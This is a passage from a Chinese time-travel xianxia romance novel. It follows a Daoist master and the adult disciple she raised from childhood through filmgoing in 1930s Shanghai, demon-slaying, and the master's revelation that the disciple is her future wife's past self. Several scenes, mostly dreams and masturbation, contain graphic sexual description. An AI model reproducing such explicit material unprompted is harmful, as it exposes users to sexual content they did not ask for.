约定了取照片的时间,两人出了照相馆,穆若水走路都是蹦着的。 照个相开心死了。 傅清微决定把看电影留到过两天,这样她的好心情就能一直持续下去。 傅清微走在她身后两步远的地方,仰脸望了望蔚蓝的天,最近都是好天气,也像自己此刻的心情。 如果时间能一直停留在这里就好了。 不要再往前了。 不,她还没能见到师尊。 天边的云卷云舒,风推着它们向外走,朝霞晚霞轮番挂在天上,替换了两个昼夜。 傅清微买了两张电影票,带穆若水走进了电影院。 穆若水坐在位置上东张西望,看着前面一片黑的银幕也不知道是什么,紧张兴奋。 傅清微凑近在她耳边低声解释。 穆若水一个字也没听进去,耳朵被女人吐息的热气熏红了一片,衣角攥出花。 傅清微:“……” 她清了清嗓子坐正:“看了就知道了。” 穆若水低低嗯了一声。 放映厅昏暗的灯光掩饰了她通红的雪腻耳根。 看的是黑白电影《渔光曲》,傅清微以为是默片,没想到这时代已经有声音了,观影体验和后世相差无几。因为纯粹,反而更投入。 傅清微在30年代看老电影掉眼泪,穆若水虽也专注,远不如傅清微情感充沛,一次转头发现对方脸颊闪着点点的光,注意力便从电影跑偏了。 电影放映结束,傅清微赶在灯光亮起之前用袖子擦了擦面颊,穆若水目视前方,袖口里的掌心向下死死地掐住膝盖。 她不能帮师尊擦眼泪,师尊会恼她。 穆若水不明白,为什么小时候可以做的事,长大以后却不可以? 傅清微眼圈微红,站起身从放映厅走了出去,不忘回头等她。 穆若水牵着她的衣袖一角,回忆起她对全部流程的熟悉,问:“师尊以前看过电影吗?” “看过。” “师尊和谁一起?” “和我妻子。” 旁边的人便沉默下来。 报亭有刊物杂志,傅清微来到摊前,她不动。穆若水最爱逛闲书,当即便翻起来,抽出一本电影杂志。 封面上风情款款的女人长发挽在脑后,额前留着波纹卷发刘海,雍容华贵,顾盼生辉。 穆若水:“我刚刚在门口看到她的海报,挺漂亮的。” 傅清微:“那就买这本吧。” 付完款傅清微去看左下角的杂志信息。 艺声出版社,第二期。 1935年7月。 胡蝶。 离沪之前,她们又去看了胡蝶最新上映的电影,动起来比杂志封面更好看,风情万种。 穆若水有点喜欢电影了,她喜欢和师尊待在昏暗空间的感觉,她们俩离得好近。 她能看到师尊的侧脸,她搭在膝头骨节修长的白皙手指。 最后几天她们每天都去电影院,国内的好莱坞的影片都看了一遍。 照相馆的照片也拿到了,当时技术不先进,多拍了好几张,本以为只有一张能用的,没想到都不错,傅清微全买了下来,穆若水宝贵地收在行李箱的最中间,层层衣物包着。 离开沪城二人没有立即返程,而是沿路北上。 三年前,东北沦陷,魔气汲取战争土壤的养分,妖魔队伍壮大,北方修行者的压力陡增,二人一路除魔过去,途遇不少玄门中人。 一剑雷霆倾覆翻滚的魔气,电光之后,两道身影神兵天降般出现在负伤的修者面前。 “多谢姬观主,穆道友。” “道友客气。”傅清微扶起地上的乾道,与穆若水互视一眼,问,“道友认识我们两人?” 乾道说:“二位一路杀穿上来,我等焉能不闻蓬莱观大名?” 傅清微:“原来如此,哪里可还有妖魔?” 中年乾道指了个方向,傅清微二人速速赶去。 乾道望着二人的背影,心想:这般天下无双的一对清丽佳人,又身穿道袍焦不离孟的,全玄门也就你们俩,瞎了眼才认不出来。 傅清微远远便瞧见蟒蛇妖袭击村落。 又是蟒蛇。 然而师徒二人早已不是十五年前的她们了。 “小雪。” “是。”穆若水点了一下头。 背后长剑铮的出鞘,相思剑身飞快凝上一层冰霜,穆若水手持长剑飞掠而去,剑光瞬发而至,一剑划破鳞片带出血光! 巨蟒吃痛,回身长尾重重一甩,穆若水及时跃开,地面一道黑色焦痕。 它扭动着迅速爬行,游到穆若水面前张开血盆大口。 傅清微随后赶到,袖口里两道金光一闪,流光化作异兽落地与巨蟒纠缠,牵制住它庞大灵活的身形。 穆若水少了碍事的蛇尾阻挠,长剑剑身光芒大放。 傅清微立在十几步开外,青袍拂动,负手后背,轻描淡写:“杀了它。” “是。” 全无后顾之忧的穆若水一跃而起,相思剑的剑尖自上而下贯穿了蛇脑,伤口周围弥漫雪白的寒霜,穆若水剑柄下压,锋利剑身从下颌一直划穿到蛇腹,开膛破肚。 刚涌出的鲜血被寒霜冻住阻滞一瞬,方缓缓地向外流,血液在大片土地晕开。 穆若水熟练地剜出妖丹和蛇胆,装进袋子里系紧。 傅清微收回小纸人,拇指拭去她脸颊不小心溅上的一滴血,不吝夸奖道:“动作越来越利落了。” “不敢在师尊面前班门弄斧。” “无需自谦,为师在你这个年纪,差点死在巨蟒手上。” “可师尊比我晚入道。”相处这么多年,傅清微虽没有暴露后世信息,但多少也谈过一些自身修行。 “夸你等于夸我,安心受着。” “是,师尊。” 通知了幸存的村民把蛇分了,两人沿着山路继续走。 傅清微看了看她背负长剑的潇洒身影,还是没忍住自己的骄傲之心,道:“你的剑术愈发好了,不出两年,可胜过为师。” “那也只是剑术好。”穆若水望了眼前方的山路,一山连着一山,高山仰止。 师尊会的多了去了,剑术只是微不足道的一种,而且她都好久不用剑了。 “为师喜欢剑术好的人。” 穆若水一脚踩空,差点儿滑下来,脚边的泥土簌簌。 她扭头望着身后的人,满脸的诧异。 师尊刚刚说什么? 师尊想把自己的嘴缝上。 傅清微清了清嗓子:“我的意思是说,术业有专攻,你一心学剑,未必不能成一代宗师。为师等着那一天。” 穆若水:“……” 年轻女人默默别过头上山,就当没听见前一句。 傅清微暗咬自己的舌头。 二人一路至沧州才折返,天机阁总部辐射的范围,境内已太平许多。 出门是夏天,回来又是冬日。 蓬莱观已下了一场雪,树顶尖尖地覆着一层白,穆若水先找到躲在山洞里取暖的小三花,才披霜带雪地打开了蓬莱观的大门。 傅清微双手哈着气,进厨房准备烧火盆。 穆若水后脚进来:“我来,师尊去房里歇着吧。” 傅清微毕竟年纪大了,应了声便回房,解下斗篷抖落未化的雪籽,将衣服挂好。 房子里冻得跟冰窖似的。 穆若水来得及时,将烧着木炭的铜盆端进她屋内,道:“厨房已经在烧水了,待会我给师尊灌个热水袋暖手。” 徒儿体贴,师尊倍感欣慰。 只是…… 穆若水灌完热水袋后,还在她屋里待着,没有挪窝的意思。 傅清微:“你怎地不回自己屋?” 穆若水:“师尊屋子小,火烧起来暖和,我那屋子大,太冷了。” 有理有据,小三花都在脚边的地上团着呢。 傅清微于心不忍:“今天的冬天好像格外冷。” 穆若水眨眼:“所以我今晚能和师尊一起睡吗?” 傅清微坐得离火盆太近,脸被烤得发红,脖子里也热热的,她用冰凉的手背降了降温,没有回答她。 用沉默表示拒绝。 穆若水也不是耍无赖的孩子了,读得出她的意思,道:“开个玩笑。师尊是热了吗?” “有点。” 穆若水将炭盆挪远了一点。 傅清微脸上的温度过了好一会儿才降下来。 穆若水赖到快做完饭才离开,准时出现在了厨房。傅清微端起地上的小三花,有一搭没一搭地将手指探入它的毛发梳着。 唉。 孩子又长大了一些。 “师尊晚安。”蒙着细雪的屋檐下,穆若水睡前雷打不动向她问安。 “晚安。” 傅清微的声音隔着窗户传出来。 穆若水沿走廊回到了对面的房间,关上门,检查了一下门锁。 放行李的皮箱在穆若水房间,傅清微的那部分已经整理出去了,穆若水蹲下来,从衣服的夹层里拿出了一本书。 不正经的那种。 她的问题师尊不肯向她解答,她唯有自己寻找答案。 进城后二人经常分开各逛各的,穆若水去了各大书铺,她不知道要找什么,也不敢问人,直到翻到一些卿卿我我的话本。说来也怪,她十几岁时也翻过,瞧得眼皮打架,如今看那些调情的酸话却津津有味。 幻想如果是师尊对她说,她该骨酥筋软,比那话本主角更受不住。 翻了几本,穆若水知道自己想要什么了。 她要不仅有对白,还要有动作的。 至今记得书铺老板看她的怪异眼神:你一个道士……这…… 穆若水面不改色地结账,拿到书后鬼鬼祟祟地藏进行李箱,到今天才敢背着师尊打开看。 她挑了一盏烛火,灯下细看。 前头也是些花前月下,情情爱爱,穆若水翻得很慢,每句话都用师尊的语气和声音脑补一遍,心尖颤着往下翻。 1/3部分就有新意了,两人在花园里,幕天席地地就…… 穆若水又翻一页,竟然是一页配图! 这老板!她应该多给点钱! 女女的本子在当代太超过了,穆若水看的是普通话本,可那女子沉浸欢愉的神情惟妙惟肖,连上身的两点反应都画得清晰,更巧的是,她胸口也有颗红痣。 穆若水看到这一页便翻不动了,目光久久地停留,指腹抚过画中女子的脸,雪白的饱满,细腰,修长紧实的双腿,和她被捞起的腿弯。 若是……若是…… 穆若水又有了那日同样的感觉,她在书桌下并了并自己的膝盖,却阻止不了向外流。 她将话本合上了。 没有去清理自己,而是躺到了床上,闭目入睡。 她想知道这次能梦见什么? 她的意识随着呼吸渐轻远去,一阵淡淡的返魂香笼罩了她的感官。 不知过了多久,穆若水睁开眼睛,傅清微果然坐在她的床畔,她惊喜道:“师尊!” “你想我,我就来了。” 穆若水知道自己在做梦,只有梦里师尊才会说这样的话,但不妨碍她因此心头滚烫,重如擂鼓。 “师尊……” “嘘。”女人指尖抵上她的唇,穆若水伸舌舔了舔她的指腹,似乎在取悦她。 女人果然展颜一笑,问她:“哪里学的?” “没有学。”这不是本能就会的么? “乖。” 穆若水:“师尊,你能不能亲亲我?” 女人问:“亲哪里?” 穆若水诚实地点了点自己的唇中。 女人的吻落下来,贴着她的唇厮磨,比上回多了些,可穆若水仍觉不够。 许是体会到了她的焦急催促,女人含了含她的下唇,探出舌尖在她齿关游移。 她实在太木讷,女人轻柔道:“张嘴。” 穆若水便听话地张嘴,湿滑柔软的软舌侵入了她的唇齿,渡来甘甜的汁液。 穆若水第一次根本受不住,婉转低柔地吟出一声。 “嗯……” 第153章 穆若水不敢相信发出这种柔弱不堪的声音的人是自己。 她轻轻地抿了一下唇, 却忘了女人的舌还在自己口中,相当于含住了对方的软舌,湿滑的游蛇点着她的舌尖, 借机缠绕吸吮, 在她脊柱掀起一阵铺天盖地的麻痒。 “唔嗯……”她偏头逃开女人的舌, 颤抖着发出哭泣似的尾音。 眉目清雅的女人俯在她的上方,如愿地松开她, 一只手的拇指抚着她淡粉的薄唇, 调情道:“要为师亲的是你,受不了的也是你, 你要为师如何呢?” “太深了……”穆若水眼尾微红地小声控诉, 我见犹怜。 “是我的错,没有体谅小雪。”梦里的傅清微体贴说道。 穆若水勾了勾她另一只手的尾指,说:“还要, 要……浅一点。” “好。” 傅清微捧着她的脸, 浅浅地啄吻年轻女人的唇。 果然这样的节奏适合毫无经验的穆若水,她眉眼舒展,享受地躺在她身下, 偶尔睁开阖着的长睫,缓缓地又闭上,投入到这场亲吻中。 “师尊……”她贴着她的唇祈求。 这是又想要深一些了。 梦里的傅清微对她予取予求,舌尖探出一点软软地抵着她的唇缝, 穆若水害羞地张了口。 红粉一直弥漫到耳颈。 女人在她的齿列徘徊着,待她接受以后慢慢地往深处纠缠, 吻出隐约的水声。 穆若水胸腔混沌, 心脏狂响,无法自控的声音漏了出来。 她无助地勾住了女人的衣襟, 傅清微将她的手环在自己的脖子上,穆若水终于找到沉船的浮木,双臂紧紧地搂住她。 “师尊……我……嗯……”她的声音被口腔里的异物阻住,含混而断续。 傅清微偏了偏头,抵着她将她吻得更紧密深入。 穆若水的脸越来越红,肺部的氧气消耗一空,她的手滑下来,从环着到小力推对方的肩膀。 傅清微自她唇齿间退出来,在她急促喘气时,手背贴上她滚烫的脸颊。 穆若水剧烈起伏的心口慢慢地平复,后知后觉地蹭了下被子里交叠的长腿,紧紧地并在一起。 “还要吗?”傅清微点着她饱满晶亮的红唇。 穆若水娇喘微微,有些受不住,可不想浪费难得的美梦。 至少……至少让她梦到睡前看到的那幕吧。 梦境不完全由她掌控,因为她没回答,师尊已向她吻了下来,长驱直入,勾起她沉寂的软舌,制造出脸红耳赤的水声。 “师尊……师尊不要……” “真的?”女人抽空用上扬的尾音调侃她。 “呜呜。” “很乖。”女人重新抵入她的口中吻弄缠绕,水声阵阵,直到穆若水再一次喘不上气。 女人在她耳边轻笑,穆若水难耐地反复蹭动自己的长腿,夹紧了盖被。 “怎么了?”女人看到她的动作,温柔询问道。 “师尊,我好像熟过头了。”穆若水根本控制不了她的本能反应,她的所有都在为眼前的人牵动,心荡神驰。 “让我看看?” “啊?”穆若水想:这不好吧? 身体却诚实地往床里挪,让出大部分的空位给她。 多亏师尊给她打的实木大床,躺两个人绰绰有余,但师尊贴得她好近,心脏跳得好快。 肩膀挨着肩膀,她的脸侧扑洒着对方温热的呼吸,她感觉对方在看着她。 穆若水忍不住扭头和她对视,女人滚烫的唇舌再一次欺了进来。 换了场地,整个吻便开始失控,穆若水被欺负得喘不上气后,女人的唇移到了她小巧的耳朵,张口含住吮弄。 穆若水僵得比相思剑的剑鞘还直。 “放松些。”傅清微寻到她垂在身侧的手,分开她的指缝十指相扣,按在了枕头上。 穆若水偏开头,喉咙里急促地溢出一声喘。 女人沿着她的侧颈线条一路吻过去。 穆若水闭上了眼睛,只能听见自己陌生的轻喘反复回荡。 女人重新咬了咬她的下巴,停下动作和她潮气弥漫的眼神对视,年轻女人长睫都染湿了几分。 傅清微将一节指节探入她口中,穆若水含住她的手指,生涩地打湿。 穆若水的寝衣整整齐齐地穿在身上,襟扣在领口侧面,傅清微没有去解,而是伸手圈住了她的细腰,不费吹灰之力将她带入了怀里。 不如说是穆若水主动躺进她怀里的,她喜欢和师尊抱在一起。 虽然现在温度高得有些吓人。 女人的掌心贴着她濡出细汗的侧腰,指尖慢慢往中间婆娑。 穆若水打小喜欢师尊的手,她持剑引雷的时候,她治病救人的时候,她有力的双手将自己从依布村背到了蓬莱观,托住了她近二十年的光阴。 骨节修长,虎口细腻地自小而上环住,指腹的薄茧清晰地印着她。 穆若水低下头,隔着寝衣看着师尊曲起的手指骨节,覆上来,聚拢又分开。 “师尊……” “嗯?”傅清微浅浅地吻她的唇,将她颤抖的声音吞去一半。 “我……好奇怪……” “又熟透了?” “……嗯。”她尾音颤得更厉害,一面被折腾,情不自禁地想靠她更近一点,傅清微仰起修长雪颈,让她埋进自己的颈窝。 穆若水瞧着近在咫尺的雪肤,唇瓣微动,最终只将脸贴了上去,缓缓地蹭了蹭,纾解她一二分的难受,也许是快意。 傅清微的手珍重地捧着她,极尽柔情,也对她的脆弱肆意妄为。 指腹贴在上面打转拨弄。 穆若水的脸贴着女人颈窝也不管用了,曲颈往后,喉咙里长出或高或低的脆声,哀求女人:“师尊……我……我……” 傅清微体贴地吻住了她的薄唇,将羞人的声音淹没进交缠的唇齿。 枝头挂的果终于熟透,掀开果皮便是丰沛的汁水。 傅清微在年轻女子的眉心落下一吻,穆若水别开脸不敢看她,墨发下半遮半掩一只红到滴血的耳朵。 两人都衣襟整齐,只身前略微凌乱,她便被师尊把玩到肆意横流。 即使是梦,她也见不了人。 傅清微的手再次贴上她浸满细汗的后腰,指尖划过她侧腰紧致的线条,婆娑撩动。 这次换了个方向。 女人的手指来到了两片唇前,方才的热情对待早已让她翕张着,柔亮湿润地亟待心上人的宠幸。 穆若水的眼睛张着,望着身上的女人,傅清微也在含笑注视她,完全看不出她正在做什么。 傅清微的指背贴上她微启的唇缝,水意沁出来,打湿她的手指。 穆若水唇张了张,眼神迷离叫了一声:“师尊。” “为师在。”傅清微慢条斯理地应下,指节来回地蹭过她唇瓣的窄缝,直到它向自己完全打开。 “师尊。”穆若水不知道该怎么办,腰软得厉害,只能无助唤她。 “我在。” 穆若水知道她在,她的存在感从未有过的强烈,给她的感觉也是。 傅清微用自己的手指和她的双唇接吻,揉着两片唇瓣爱不释手,指尖浅浅徘徊,带出隐约的细腻水声。 穆若水咬着唇不开口,房间里便只余这令人遐想的声音,来自她自己。 傅清微眼底笑意愈深。 穆若水扭开头不敢看她的眼睛,被托着扶正下巴。 她的唇珠很不明显,要接吻许久才能露出来,傅清微轻柔地对待了她很长时间,穆若水意识都开始涣散,女人的指腹终于碰到了她饱满圆润的唇珠。 穆若水直觉要有极为危险的事发生,脑子里的弦一颤。 傅清微已经对着她的唇珠按了下去。 穆若水急喘,眼前发白。 怀里安分承受的年轻女人蓦地扭动着逃离,傅清微先见之明地圈住了她,将她牢牢锁在自己怀中。 傅清微没有停下,指尖一味揉着她分外敏感的唇珠打转。 “师尊,呜……”她低低地哀求,被她掌控着所有,逃不开,动不得,眼睛里的雾气满得溢出来。 女人的动作越来越快。 尖锐的感受如同潮水席卷,海浪暴风激烈拍打着礁石,褪去时却如抽丝,脉脉地在四肢百骸里缓缓游动。 穆若水的哭叫也是一样。 短促之后是长久的泪眼朦胧。 她弓起发酸的腰背依偎在女人盈满香气的怀抱,傅清微的手掌缓缓贴合在原处,延续她喜欢的感受。 湿粘、不止。 …… 穆若水是在傅清微怀里睡去的,来不及讨一个温存的吻,再睁开眼睛天就已经亮了。 从窗户透进来的光线她判断离早上已经有一段时间了。 她的一双长腿分开在被子里,不敢并拢,都是她梦里欢愉的痕迹。 冰冷、潮湿。 穆若水习惯性对着天花板发呆,脑海里闪过零碎但记忆深刻的片段,她将被单攥出两朵赧然的花。 * 傅清微和往日一样的时间起床,上了些岁数后觉就少了,她已经许久不睡懒觉了。 她进厨房烧好水,弯腰在天寒地冻的院子里刷牙,抬眼看了眼对面的房间,悄无声息。 昨夜她和穆若水说完晚安后就睡了,不知道那孩子何时睡的,许是熬夜了。 孩子长大,总会有心事。 傅清微给小三花闪闪放了早饭,撸了两把猫肚皮,闪闪翻过身来,示意人类它的报酬已经结清。傅清微蹲在边上看它吃早餐,闪闪是穆若水六岁那年捡的,今年十六岁,已经跨入长寿猫猫的行列了。 大概从前两年起,傅清微发现它初显老态,眉毛稀疏了些,眼睛也不再又圆又亮,精力尚可,还能自己捕猎。 不知道还能陪她们多久。 傅清微伸手抚了抚吃饭的猫猫头,想好了接下来两顿的猫饭,去书房看书了。 穆若水躺到了辰时,起身时摸了摸身下的床单,昨夜流了那么多,还好没有弄脏。 否则大冬天洗被单,她丢不起这人。 傅清微就在隔壁书房,听着她在屋里来回走动,打开门,进了院子里洗东西。 寒冬腊月的,傅清微担心她又不好好穿衣服着凉,从书房出来瞧了眼。 穆若水面前的木盆里泡着她的小件贴身衣物。 傅清微:“……” 自己为什么就不长记性呢! 穆若水和师尊四目相对,镇定自若。 她以为师尊什么都不知道,其实师尊以前洗得比她还勤快,心里门儿清! 傅清微:“厨房里有热水,我给你添点。” 穆若水泡得指关节发红的手浸入木盆的温水里,说:“谢谢师尊。” 傅清微嗯了声,一直在书房把自己关到吃午饭才出来。 穆若水是做春梦还是想着她自给自足了? 后者不至于吧,她刚开窍就这么大胆了? 傅师尊心不在焉地翻书,想着自己的徒儿肖想她到什么地步了。 她更要注意分寸了,否则徒儿很容易色欲薰心,做出半夜给她喂奶的事。 师尊的可以吃可以咬,徒儿的万万不可。 “师尊,吃饭了。”穆若水叩了叩书房的门。 傅清微合上书页,目光习惯性注视了左侧悬挂的画像背影好几秒,口中应道:“就来。” 用午饭时穆若水要么低着头,要么视线在傅清微脸上打转,过一会儿又低下头,埋头扒饭。 她眼神好奇居多,不怎么露骨,更无欲念。 傅清微暂时松了半口气。 看来没完全开窍。 可懵懂半解有时意味着更加大胆。 “师尊。” 傅清微一听她想让自己给她解惑的语气,就头皮发麻。 她想借口开溜,又怕她是要问道法。 穆若水:“何为男女之事?” 傅清微:“为师又不是男的,怎知男女之事?” 穆若水:“那师尊可知女女之事?” “为师……为师……” “你成过亲的,你有妻子。”穆若水善意提醒她。 傅清微选择死亡。 “我那日听到师尊洗澡,便有了反应,师尊可觉得冒犯?” “自然……是冒犯的。” 穆若水若有所思。 上回她好像不觉冒犯,还脸红了。 师尊是否对她也有意呢? 穆若水犹豫再三,还是没把昨晚的梦说出口,梦里她们不仅接了吻,她还被揉出了好多水。 现阶段师尊肯定不会接受的,说不定还会躲她。 本来就在躲。 就因为她们是师徒吗?这山上没有旁人,她们在一起了又如何? 傅清微没留意到穆若水已经离她很近了,长长的睫毛就在她的眼前,和师尊一模一样的脸冲击着她的心跳。 穆若水捕捉到她惊慌失措的眼神,接着女人身子一退,拉开了距离。 “为师去午睡了。”傅清微将手收进袖子背在身后,“不要打扰我。” “是,师尊。” 穆若水目送她离开厨房,回身收拾灶台。 傅清微背靠房门,手按着胸腔的心跳平复。 随着穆若水一日日褪去青涩,她已经和师尊相差无几,自己又该如何抵抗一次又一次的诱惑和心动? 傅清微锁好了门,在床上小憩。 褪下来的外袍整齐地叠在床头里侧。 傅清微双眼合闭,渐渐地沉入了梦乡。 她久违地梦到了师尊,就睡在她的枕边,她知道这是梦,所以一声也不敢出,贪婪地用眼神描摹她的脸。 穆若水悠悠醒转,却不睁眼,慢条斯理道:“还在看,我有那么好看吗?” “有。” 穆若水张开视线,幽黑的眼珠为她这张昳丽的脸注入了动人的神采,她朝傅清微勾了勾手指,傅清微自发地依偎过去,女人冰凉异香的怀抱拥着她。 “清微。” “嗯……” “我还没有亲你,你怎么就叫上了?”女人调笑道。 “毕竟我是什么好什么多的小猫咪。”傅清微眼眶微湿地说道。 “好久没听到了。”穆若水说。 “因为我好久没梦到你了。” “不要哭。”女人舌尖吻去她咸湿的眼泪,说:“我的小猫咪还是这么甜。” 傅清微破涕为笑。 梦里的师尊人话说得比现实好听多了。 女人吃尽她的眼泪,手指如愿勾起她的下巴,含着她的舌尖吻她。 熟练的技巧和长久以来的默契让傅清微很快沉迷软舌缠绕的湿吻里,她们搂抱着彼此,越吻越深,恨不得将彼此揉进骨血。 缠绵接吻的水声阵阵。 怀里的年轻女人忽然唔的一声,一双狭长的眼眼尾晕红,水雾弥漫,楚楚可怜:“师尊,我喘不过气了……慢一点……” 傅清微从梦里惊醒! 她睁眼猛地坐起身来,扭头看向房门的方向,门锁紧闭,房间里只有她一个人。 傅清微下地穿鞋,盯着门锁后一根绷直的头发丝。 确实没人进来过。 只是梦。 傅清微擦了擦额头冒出的冷汗,缓缓地坐回了床沿,轻轻喘息。 * 鬼市,三才舫。 “姬观主,好久不见。”管事收了她手里的战利品,边评估边说道,“没有人打听材料,观主可以放心了。” 天机阁最终给傅清微特事特办,蓬莱人少,可观主姬湛雪不仅道法高强,难得有一颗慈悲之心,未来一定是抗击魔族的核心力量。 她唯一的徒儿也是天纵奇才,天机阁不能少了蓬莱的助力。 管事这样说,傅清微却放不下心。 迈入新的一年,穆若水已经快二十二岁了,距离炼尸不到两年,有个可疑人物让她追踪,都比大海捞针强。 欠缺的两样材料三才舫依然没有。 隔着面具穆若水也能猜到她的忧心忡忡,牵了牵师尊的衣袖。 傅清微道:“没事。” 还有些时日,或许那人很快就会浮出水面了。 穆若水的手指顺着衣袖往里钻,勾住了师尊的掌心。 傅清微:“……” 她还是操心这个每日都想以下犯上的小崽子吧。 穆若水戴着面具,在鬼市放飞自我,轻车熟路地抱住了女人的腰,此处人少,傅清微听到她舒服地低低嗯了一声。 “师尊……” “……” 别是把梦里的事带进现实了吧。 傅清微捏住她的手腕,在麻筋一按,穆若水立刻从嗯变成啊。 傅清微耳朵一烫:“……” 又自作孽了。 两人在鬼市玩闹了大半夜,次日悠闲地坐着骡车回山。 两人背对背坐在骡车上,傅清微一侧肩膀忽然一沉,穆若水仰面睡在她肩膀,傅清微转了过来,扶正她的脑袋让她重新枕得舒适些。 睫羽交错的瞬间,她看到穆若水的唇角微不可见的弧度勾起来。 “……” 她已经学会装睡了。 傅清微感觉离她半夜爬自己床已经不远了,愈发注意反锁门窗。不知是她以己度人还是穆若水做得隐蔽,对方虽偶有心计但一直未越界。 傅清微一日辗转反侧,悄悄出洞,想去观察穆若水的情况。 不料刚走到门口,便听见细微的响动,她侧耳倾听,片刻后那只雪白的耳朵红了一圈。 窗户开了一条小小的缝隙,听得更清楚。 “师尊……嗯……嗯……” 傅清微默念非礼勿视,忍不住好奇地望进去一眼。 月光撒落的大床上,穆若水侧身抱着她的衣袍,另一只手看不到在哪里动作,但已不必细看了。 她真的敢。 傅清微想:难道师尊的经验都是靠自给自足得来的吗? 窗前的剪影慢慢远去。 穆若水鼻尖深深地埋进女人的衣服里,腰背绷紧,指尖裹上一层晶润,一口长气终于颤抖吐完。 那部话本看完已经半年了,期间穆若水夜有所思,做了好几次梦。 梦里固然旖旎,醒来愈发空虚。 穆若水无师自通地学会了怎样满足自己。 与其寄托梦境,不如掌控自我。 穆若水松开傅清微的外袍,仰面朝上躺着盖在自己的身上,仿佛还在延续幻想里的快意。 她忽然若有所感地朝窗户的方向看了一眼,只有微风吹拂入室内。 没有半个人影。 错觉吗? 对面的房间里,傅清微的心怦怦直跳。 原来师尊也会…… 傅清微不知道自己现在是什么心情,好像发现了一个了不得的秘密,同样喜忧参半。 姬湛雪喜欢她多一分,她就开心一分,忧愁一分。 同时她晃神的次数越来越多了。 是前世今生,但毕竟没有经过轮回,她们的容貌身材完全一致,性格接近,姬湛雪安静下来的时候,傅清微分不清她们之间的区别。 因为她们本来就是同一个灵魂。 她思念师尊心切,时常神魂不属。 傅清微提心吊胆,生怕有一天会对着姬湛雪脱口而出穆若水的名字。 她越怕什么就越来什么,也或许是潜意识不忍见她痴情错付,终于到了这一天。 她们到了南边的一个村落,斩杀了一只妖兽。 村里有无辜村民丧命,冤魂不散在空气里游荡,二人设简易道场,念《往生咒》。 家属哭声一片,响起庄重的腔调神圣的道音。 “太上敕令,超汝孤魂,鬼魅一切,四生沾恩……” 穆若水十几岁时,便接手了傅清微超度亡魂的工作,这么多年,已不知多少亡灵借由她开启的冥界通道,转世投胎。 往生咒呢喃。 淡淡的金光从亡者的身体涌现,穆若水眼睫低垂,似悲悯的神明,唇瓣兀自开合,念过千百次的咒语自她口中神圣地传出来,点滴化作金光。 “太上敕令,超汝孤魂。脱离苦海,转世成人。” 咒语念毕,穆若水结印的手松开,静静抬起眼帘注视面前渐渐消失的一切,瞳仁漆黑,无悲无喜,宛如端坐圣台的神祇。 一身天青长袍,眉目淡漠,负手而立,宽袖被夜风鼓动。 傅清微望向她被金光映着的侧脸,情不自禁地唤了声。 “若水……” 穆若水的脸转了过来,波澜不惊的眸子里掀起错愕。 待看到女人泪光闪动,眼神里从未对她流露过的陌生而厚重的情意,瞬间的错愕消解成难以自抑的浓重悲伤。 傅清微的声音很轻,但她知道对方听见了。 回程的路上谁也没提及当夜,仿佛只是傅清微的一个口误。 可穆若水悲痛的一眼深深印在她的脑海里。 正如傅清微闪烁泪光的眼睛一直在穆若水的记忆里反复放映。 一生都无法忘怀。 * 一个月后,两人回到蓬莱观。 穆若水抱着猫开了结界,立刻道:“师尊,我去烧水。” 背着长剑的身影头也不回。 傅清微应声时她已进了厨房,不知是不是不想听见她开口。 接着洗漱、吃饭、练剑,晚上又来做饭,睡觉,穆若水没有主动和她聊起过一个话题。 傅清微了解她的性格,在等她找上门来。 翌日上午,她在书房画画。 出门久了,原先挂着的那幅师尊的画像纸张有些泛黄,傅清微打算画幅新的替换上去。 书房门被单手推开,穆若水不请自入。 她一张脸覆着霜雪,冷下脸的时候,就算大穆若水站在她身边,恐怕也难分彼此。 傅清微毛笔一顿,不出意外地走了神。 穆若水身后开着的门有风刮进来,吹响了桌上的纸张。 傅清微看着宣纸上的一滴墨渍,眉心缓缓一道折痕。 穆若水都不需走到她跟前,就知道她画的是什么,她满心满眼只有她的妻子,不惜……不惜…… 穆若水心口轻微起伏,看向左侧书架挂着的女人画像,目光冰冷。 “拜入师尊门下这么久,徒儿不肖,尚不知师娘叫什么名字?” “若水。” “全名。” “穆若水。” 傅清微站起来直视着她的眼睛,不见心虚,只有坦诚。 “原来如此。”穆若水本想对着她出言讥讽,可唇角刚弯起来,酸涩比愤怒先一步裹挟她的心脏。 每一下跳动都使她的眼眶发酸。 原来如此。 穆若水深深地看了她依赖了十八年、不知道喜欢了多少年的女人一眼,在脆弱的眼泪涌上来之前,转身便走。 女人的一句话留住了她的脚步。 “如果我告诉你,你就是她呢?” 第154章 “如果我告诉你, 你就是她呢?” 穆若水的背影僵立在门口,慢慢地回过头,看向从书桌后走出来的女人。 傅清微目光不偏不移:“她是未来的你, 你是过去的她。” 穆若水冷道:“你什么意思?” 傅清微看着她和师尊露出一模一样的神情, 眼眸动了动。 穆若水知道她又在透过自己看另一个人, 被戳中内心最深的隐痛,眼圈压着怒意的红。 “别用这样的目光看我!” 傅清微收起神思, 说:“接下来我的话即使听起来再不可思议, 也句句属实。” 傅清微落入异世后没想过要坦白,可真到了坦白这一刻, 她只感到心里压着的巨石在慢慢松开。 这不是她一个人的秘密, 姬湛雪有权知道真相。 她是,或不是穆若水,由她自己决定, 在这段感情里, 她应该被摆在公平的位置。 两人就这么面对面站在书房里,谁也没有靠近谁。 傅清微讲述了自己从2029年遇到大穆若水,相爱然后成亲, 在2030年意外掉入时空裂缝,遇到她的年少时,四岁的姬湛雪,决定将她抚养长大。 除了炼尸以外, 省略了和师尊的恩爱细节,其他都原原本本地告诉了她。 穆若水脸色变幻, 听完半晌, 丢下一句“可笑”。 仓皇夺门而出。 傅清微的身影被她遗落在书房内。 穆若水回屋握起长剑,头也不回, 直奔树林里的结界。 剑气挥出,一道一道地斩在树干上,刻下凌乱见骨的剑痕。 可笑。 可笑。 可笑! 穆若水没有不相信傅清微的话,只感觉自己像极了一个笑话! 什么过去未来,前世今生,她不是任何人的一段过去,她是一个活生生的人,她是姬湛雪,不是穆若水。 和师尊相爱的是穆若水,也不是姬湛雪。 姬湛雪自小聪慧,记事早,四岁以来的所有事她都记得,雪地里那个被划掉的“穆”字,傅清微数次想要离开村落,她对自己冰冷无情,直到洗掉她脸上的伪饰,她脱口而出的一句“师尊”,埋进她脖子里汹涌的泪水。 从此她再也没有放开自己的手。 她们俩相依为命过了十八年,她以为她牵住的是自己,她以为她是师尊最亲近的人,她以为她们有一生的时间可以在一起。 原来她的心早就永远许给了一百年后的那个人。 她对自己好的一切,只是因为她是那个人的曾经。她每一次透过自己看到的,都是她心心念念的另一个人。 那姬湛雪算什么? 一个影子抑或一个替身? 她还没有长大到一百年后,她还不是穆若水啊,她没有和傅清微相爱过,她只是她的徒儿。 